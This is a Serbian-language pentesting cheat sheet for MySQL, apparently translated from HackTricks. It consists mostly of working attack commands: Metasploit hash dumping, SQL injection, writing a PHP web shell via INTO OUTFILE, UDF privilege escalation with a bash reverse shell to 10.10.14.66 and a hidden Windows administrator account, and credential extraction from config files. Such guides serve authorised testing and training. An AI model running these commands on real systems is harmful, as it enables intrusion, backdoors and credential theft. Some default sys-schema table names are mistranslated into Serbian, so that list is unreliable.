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3306 - Pentesting Mysql

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RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Osnovne informacije

MySQL se može opisati kao open source Sistem za upravljanje relacionim bazama podataka (RDBMS) koji je dostupan besplatno. Radi na Structured Query Language (SQL), omogućavajući upravljanje i manipulaciju bazama podataka.

Podrazumevani port: 3306

3306/tcp open  mysql

Poveži se

Lokalno

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Udaljeno

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Spoljna enumeracija

Neke od akcija enumeracije zahtevaju validne akreditive

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Napišite bilo koje binarne podatke

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL komande

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Prikaz Dozvola za MySQL

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

MySQL fajl RCE

Možete videti u dokumentaciji značenje svakog privilegija: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL proizvoljno čitanje fajla od strane klijenta

Zapravo, kada pokušate da učitate lokalne podatke u tabelu, sadržaj fajla MySQL ili MariaDB server traži od klijenta da ga pročita i pošalje sadržaj. Zatim, ako možete da promenite mysql klijent da se poveže sa vašim MySQL serverom, možete čitati proizvoljne fajlove.
Molimo vas da primetite da se ovo ponašanje koristi:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Zapažena je reč "lokalno")
Jer bez "lokalno" možete dobiti:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Početni PoC: https://github.com/allyshka/Rogue-MySql-Server
U ovom radu možete videti potpisan opis napada i čak kako ga proširiti na RCE: https://paper.seebug.org/1113/
Ovde možete pronaći pregled napada: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

​​RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i stručnjaka za kibernetičku bezbednost u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

POST

Mysql Korisnik

Biće veoma zanimljivo ako mysql radi kao root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Opasne postavke mysqld.cnf

U konfiguraciji MySQL servisa, različite postavke se koriste kako bi se definisalo njegovo funkcionisanje i sigurnosne mere:

  • Postavka user se koristi za određivanje korisnika pod kojim će MySQL servis biti izvršen.
  • password se koristi za postavljanje lozinke povezane sa MySQL korisnikom.
  • admin_address određuje IP adresu na kojoj se osluškuju TCP/IP konekcije na administrativnom mrežnom interfejsu.
  • Promenljiva debug ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova.
  • sql_warnings upravlja generisanjem informacionih nizova za INSERT naredbe sa jednim redom kada upozorenja nastanu, uključujući osetljive podatke unutar logova.
  • Sa secure_file_priv, obim operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti.

Eskalacija privilegija

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Eskalacija privilegija putem biblioteke

Ako mysql server radi kao root (ili drugi korisnik sa više privilegija) možete ga naterati da izvršava komande. Za to, treba da koristite korisnički definisane funkcije. Da biste kreirali korisnički definisanu funkciju, potrebna vam je biblioteka za OS na kojem se izvršava mysql.

Zlonamerna biblioteka koju možete koristiti može se pronaći unutar sqlmap-a i unutar metasploita pomoću komande locate "*lib_mysqludf_sys*". .so fajlovi su linux biblioteke, a .dll su oni za Windows, izaberite onaj koji vam je potreban.

Ako nemate te biblioteke, možete ih ili potražiti, ili preuzeti ovaj linux C kod i kompajlirati ga unutar ranjive linux mašine:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Sada kada imate biblioteku, prijavite se unutar Mysql-a kao privilegovan korisnik (root?) i pratite sledeće korake:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Izdvajanje MySQL kredencijala iz fajlova

Unutar /etc/mysql/debian.cnf možete pronaći plain-text password korisnika debian-sys-maint

cat /etc/mysql/debian.cnf

Možete koristiti ove podatke za prijavu u MySQL bazu podataka.

Unutar datoteke: /var/lib/mysql/mysql/user.MYD možete pronaći sve hešove MySQL korisnika (one koje možete izvući iz mysql.user unutar baze podataka).

Možete ih izvući koristeći:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Omogućavanje vođenja evidencije

Možete omogućiti vođenje evidencije MySQL upita unutar /etc/mysql/my.cnf datoteke uklanjanjem komentara sa sledećih linija:

Korisne datoteke

Konfiguracione datoteke

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Istorija komandi
  • ~/.mysql.history
  • Log datoteke
  • connections.log
  • update.log
  • common.log

Podrazumevane MySQL baze podataka/tabele

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
sesija
sesija_ssl_status
analiza_izjava
izjave_sa_greskama_ili_upozorenjima
izjave_sa_skeniranjem_celih_tabela
izjave_sa_vremenima_izvrsavanja_u_95-tom_percentilu
izjave_sa_sortiranjem
izjave_sa_privremenim_tabelama
sys_config
korisnicki_rezime
korisnicki_rezime_po_file_io
korisnicki_rezime_po_tipu_file_io
korisnicki_rezime_po_stadijumima
korisnicki_rezime_po_latenciji_izjave
korisnicki_rezime_po_tipu_izjave
verzija
cekanja_globalno_po_prosecnoj_latenciji
cekanja_globalno_po_latenciji
cekanja_po_hostu_po_latenciji
cekanja_po_korisniku_po_latenciji
cekanja_globalno_po_latenciji
x$host_rezime
x$host_rezime_po_file_io
x$host_rezime_po_tipu_file_io
x$host_rezime_po_stadijumima
x$host_rezime_po_latenciji_izjave
x$host_rezime_po_tipu_izjave
x$innodb_statistike_meora_po_središtu
x$innodb_statistike_meora_po_tabeli
x$innodb_cekanja_na_zakljucavanje
x$io_po_niti_po_latenciji
x$io_globalno_po_fajlu_po_bajtovima
x$io_globalno_po_fajlu_po_latenciji
x$io_globalno_po_cekanju_po_bajtovima
x$io_globalno_po_cekanju_po_latenciji
x$najnoviji_file_io
x$memorija_po_hostu_po_trenutnim_bajtovima
x$memorija_po_niti_po_trenutnim_bajtovima
x$memorija_po_korisniku_po_trenutnim_bajtovima
x$memorija_globalno_po_trenutnim_bajtovima
x$memorija_globalno_ukupno
x$lista_procesa
x$ps_digest_95-ti_percentil_po_prosecnom_us
x$ps_digest_distribucija_prosecne_latencije
x$ps_schema_statistike_tabela_io
x$schema_ravne_kljuceve
x$schema_statistike_indeksa
x$schema_cekanja_na_zakljucavanje_tabela
x$schema_statistike_tabela
x$schema_statistike_tabela_sa_bufferom
x$schema_tabela_sa_skeniranjem_celih_tabela
x$sesija
x$analiza_izjava
x$izjave_sa_greskama_ili_upozorenjima
x$izjave_sa_skeniranjem_celih_tabela
x$izjave_sa_vremenima_izvrsavanja_u_95-tom_percentilu
x$izjave_sa_sortiranjem
x$izjave_sa_privremenim_tabelama
x$korisnicki_rezime
x$korisnicki_rezime_po_file_io
x$korisnicki_rezime_po_tipu_file_io
x$korisnicki_rezime_po_stadijumima
x$korisnicki_rezime_po_latenciji_izjave
x$korisnicki_rezime_po_tipu_izjave
x$cekanja_globalno_po_prosecnoj_latenciji
x$cekanja_globalno_po_latenciji
x$cekanja_po_hostu_po_latenciji
x$cekanja_po_korisniku_po_latenciji
x$cekanja_globalno_po_latenciji

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

​

RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i stručnjaka za kibernetičku bezbednost u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

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